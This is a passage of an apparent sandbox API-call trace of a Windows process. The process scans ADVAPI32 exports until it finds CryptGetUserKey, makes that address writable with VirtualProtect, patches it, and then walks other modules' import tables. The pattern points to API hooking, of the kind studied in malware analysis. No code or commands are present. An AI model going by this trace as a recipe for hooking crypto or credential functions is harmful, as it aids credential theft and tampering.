(lpString1="AuditSetSecurity", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="AuditSetSystemPolicy", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BackupEventLogA", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BackupEventLogW", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildExplicitAccessWithNameA", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildExplicitAccessWithNameW", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildImpersonateExplicitAccessWithNameA", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildImpersonateExplicitAccessWithNameW", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildImpersonateTrusteeA", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildImpersonateTrusteeW", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildSecurityDescriptorA", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildSecurityDescriptorW", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildTrusteeWithNameA", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildTrusteeWithNameW", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndNameA", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndNameW", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndSidA", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndSidW", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildTrusteeWithSidA", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="BuildTrusteeWithSidW", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="CancelOverlappedAccess", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="ChangeServiceConfig2A", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="ChangeServiceConfig2W", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="ChangeServiceConfigA", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="ChangeServiceConfigW", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="CheckTokenMembership", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ClearEventLogA", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ClearEventLogW", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="CloseCodeAuthzLevel", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="CloseEncryptedFileRaw", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="CloseEventLog", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="CloseServiceHandle", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="CloseThreadWaitChainSession", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="CloseTrace", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="CommandLineFromMsiDescriptor", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ComputeAccessTokenFromCodeAuthzLevel", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ControlService", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ControlServiceExA", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ControlServiceExW", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ControlTraceA", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ControlTraceW", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertAccessToSecurityDescriptorA", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertAccessToSecurityDescriptorW", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertSDToStringSDRootDomainA", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertSDToStringSDRootDomainW", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessA", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessNamedA", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessNamedW", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessW", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorA", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorW", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertSidToStringSidA", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertSidToStringSidW", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertStringSDToSDDomainA", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertStringSDToSDDomainW", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertStringSDToSDRootDomainA", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertStringSDToSDRootDomainW", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorA", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertStringSidToSidA", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertStringSidToSidW", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="ConvertToAutoInheritPrivateObjectSecurity", lpString2="CryptGetUserKey") returned -1 [0044.755] lstrcmpA (lpString1="CopySid", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CreateCodeAuthzLevel", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CreatePrivateObjectSecurity", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CreatePrivateObjectSecurityEx", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CreatePrivateObjectSecurityWithMultipleInheritance", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CreateProcessAsUserA", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CreateProcessWithLogonW", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CreateProcessWithTokenW", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CreateRestrictedToken", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CreateServiceA", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CreateServiceW", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CreateTraceInstanceId", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CreateWellKnownSid", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredBackupCredentials", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredDeleteA", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredDeleteW", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredEncryptAndMarshalBinaryBlob", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredEnumerateA", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredEnumerateW", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredFindBestCredentialA", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredFindBestCredentialW", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredFree", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredGetSessionTypes", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredGetTargetInfoA", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredGetTargetInfoW", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredIsMarshaledCredentialA", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredIsMarshaledCredentialW", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredIsProtectedA", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredIsProtectedW", lpString2="CryptGetUserKey") returned -1 [0044.756] lstrcmpA (lpString1="CredMarshalCredentialA", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredMarshalCredentialW", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredProfileLoaded", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredProfileUnloaded", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredProtectA", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredProtectW", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredReadA", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredReadByTokenHandle", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredReadDomainCredentialsA", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredReadDomainCredentialsW", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredReadW", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredRenameA", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredRenameW", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredRestoreCredentials", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredUnmarshalCredentialA", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredUnmarshalCredentialW", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredUnprotectA", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredUnprotectW", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredWriteA", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredWriteDomainCredentialsA", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredWriteDomainCredentialsW", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredWriteW", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredpConvertCredential", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredpConvertOneCredentialSize", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredpConvertTargetInfo", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredpDecodeCredential", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredpEncodeCredential", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CredpEncodeSecret", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CryptAcquireContextA", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CryptAcquireContextW", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CryptContextAddRef", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CryptCreateHash", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CryptDecrypt", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CryptDeriveKey", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CryptDestroyHash", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CryptDestroyKey", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CryptDuplicateHash", lpString2="CryptGetUserKey") returned -1 [0044.757] lstrcmpA (lpString1="CryptDuplicateKey", lpString2="CryptGetUserKey") returned -1 [0044.758] lstrcmpA (lpString1="CryptEncrypt", lpString2="CryptGetUserKey") returned -1 [0044.758] lstrcmpA (lpString1="CryptEnumProviderTypesA", lpString2="CryptGetUserKey") returned -1 [0044.758] lstrcmpA (lpString1="CryptEnumProviderTypesW", lpString2="CryptGetUserKey") returned -1 [0044.758] lstrcmpA (lpString1="CryptEnumProvidersA", lpString2="CryptGetUserKey") returned -1 [0044.758] lstrcmpA (lpString1="CryptEnumProvidersW", lpString2="CryptGetUserKey") returned -1 [0044.758] lstrcmpA (lpString1="CryptExportKey", lpString2="CryptGetUserKey") returned -1 [0044.758] lstrcmpA (lpString1="CryptGenKey", lpString2="CryptGetUserKey") returned -1 [0044.758] lstrcmpA (lpString1="CryptGenRandom", lpString2="CryptGetUserKey") returned -1 [0044.758] lstrcmpA (lpString1="CryptGetDefaultProviderA", lpString2="CryptGetUserKey") returned -1 [0044.758] lstrcmpA (lpString1="CryptGetDefaultProviderW", lpString2="CryptGetUserKey") returned -1 [0044.758] lstrcmpA (lpString1="CryptGetHashParam", lpString2="CryptGetUserKey") returned -1 [0044.758] lstrcmpA (lpString1="CryptGetKeyParam", lpString2="CryptGetUserKey") returned -1 [0044.758] lstrcmpA (lpString1="CryptGetProvParam", lpString2="CryptGetUserKey") returned -1 [0044.758] lstrcmpA (lpString1="CryptGetUserKey", lpString2="CryptGetUserKey") returned 0 [0044.758] VirtualProtect (in: lpAddress=0x7fefd78a810, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x6adfb78 | out: lpflOldProtect=0x6adfb78*=0x2) returned 1 [0044.759] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x18) returned 0x9b6dbe0 [0044.759] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x18) returned 0x9b6dc00 [0044.759] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dbe0 | out: hHeap=0x9770000) returned 1 [0044.759] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc00 | out: hHeap=0x9770000) returned 1 [0044.759] VirtualProtect (in: lpAddress=0x7fefd78560e, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x20) returned 1 [0044.760] VirtualProtect (in: lpAddress=0x7fefd78560e, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0044.761] VirtualProtect (in: lpAddress=0x7fefd78a810, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x6adfb78 | out: lpflOldProtect=0x6adfb78*=0x40) returned 1 [0044.762] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb10, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb10, ReturnLength=0x0) returned 0x0 [0044.762] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x1000) returned 0x9a90820 [0044.762] EnumProcessModules (in: hProcess=0xffffffffffffffff, lphModule=0x9a90820, cb=0x1000, lpcbNeeded=0x6adfc18 | out: lphModule=0x9a90820, lpcbNeeded=0x6adfc18) returned 1 [0044.764] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0xffb60000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0xffb60000, AllocationBase=0xffb60000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.764] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.764] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.764] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="ADVAPI32.DLL") returned 0 [0044.764] lstrcmpiA (lpString1="RegCreateKeyW", lpString2="CryptGetUserKey") returned 1 [0044.764] lstrcmpiA (lpString1="RegCloseKey", lpString2="CryptGetUserKey") returned 1 [0044.764] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CryptGetUserKey") returned 1 [0044.764] lstrcmpiA (lpString1="RegGetValueW", lpString2="CryptGetUserKey") returned 1 [0044.764] lstrcmpiA (lpString1="EventWrite", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="EventEnabled", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="GetTraceLoggerHandle", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="GetTraceEnableLevel", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="GetTraceEnableFlags", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="RegisterTraceGuidsW", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="UnregisterTraceGuids", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="GetLengthSid", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="RegCreateKeyExW", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="RegSetValueExW", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="EventRegister", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="RegDeleteKeyExW", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="EventUnregister", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="TraceMessage", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="RegOpenKeyW", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="RegDeleteValueW", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="RegQueryInfoKeyW", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="RegEnumValueW", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="LsaOpenPolicy", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="GetSidSubAuthorityCount", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="LsaClose", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="IsValidSid", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="LsaFreeMemory", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="StartTraceW", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="EnableTraceEx", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="StopTraceW", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="CryptAcquireContextW", lpString2="CryptGetUserKey") returned -1 [0044.765] lstrcmpiA (lpString1="CryptCreateHash", lpString2="CryptGetUserKey") returned -1 [0044.765] lstrcmpiA (lpString1="CryptHashData", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="CryptGetHashParam", lpString2="CryptGetUserKey") returned -1 [0044.765] lstrcmpiA (lpString1="CryptDestroyHash", lpString2="CryptGetUserKey") returned -1 [0044.765] lstrcmpiA (lpString1="CryptReleaseContext", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="StartServiceW", lpString2="CryptGetUserKey") returned 1 [0044.765] lstrcmpiA (lpString1="CreateWellKnownSid", lpString2="CryptGetUserKey") returned -1 [0044.765] lstrcmpiA (lpString1="RegEnumKeyExW", lpString2="CryptGetUserKey") returned 1 [0044.766] lstrcmpiA (lpString1="GetSidSubAuthority", lpString2="CryptGetUserKey") returned 1 [0044.766] lstrcmpiA (lpString1="LsaLookupSids", lpString2="CryptGetUserKey") returned 1 [0044.766] lstrcmpiA (lpString1="ConvertSidToStringSidW", lpString2="CryptGetUserKey") returned -1 [0044.766] lstrcmpiA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CryptGetUserKey") returned -1 [0044.766] lstrcmpiA (lpString1="CheckTokenMembership", lpString2="CryptGetUserKey") returned -1 [0044.766] lstrcmpiA (lpString1="QueryServiceStatus", lpString2="CryptGetUserKey") returned 1 [0044.766] lstrcmpiA (lpString1="OpenSCManagerW", lpString2="CryptGetUserKey") returned 1 [0044.766] lstrcmpiA (lpString1="OpenServiceW", lpString2="CryptGetUserKey") returned 1 [0044.766] lstrcmpiA (lpString1="CloseServiceHandle", lpString2="CryptGetUserKey") returned -1 [0044.766] lstrcmpiA (lpString1="ConvertStringSidToSidW", lpString2="CryptGetUserKey") returned -1 [0044.766] lstrcmpiA (lpString1="OpenThreadToken", lpString2="CryptGetUserKey") returned 1 [0044.766] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="SHELL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="ole32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="EXPLORERFRAME.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="UxTheme.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="POWRPROF.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="dwmapi.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="slc.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="gdiplus.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="Secur32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="PROPSYS.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="WINMM.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="CFGMGR32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="WINSTA.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="OLEACC.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="WINBRAND.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="DUI70.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="SndVolSSO.DLL", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="netutils.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.766] lstrcmpiA (lpString1="wkscli.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.767] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77160000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x77160000, AllocationBase=0x77160000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.767] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.767] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77040000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x77040000, AllocationBase=0x77040000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.767] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.767] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd330000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd330000, AllocationBase=0x7fefd330000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.767] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.767] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd710000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd710000, AllocationBase=0x7fefd710000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.767] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.767] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.767] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", 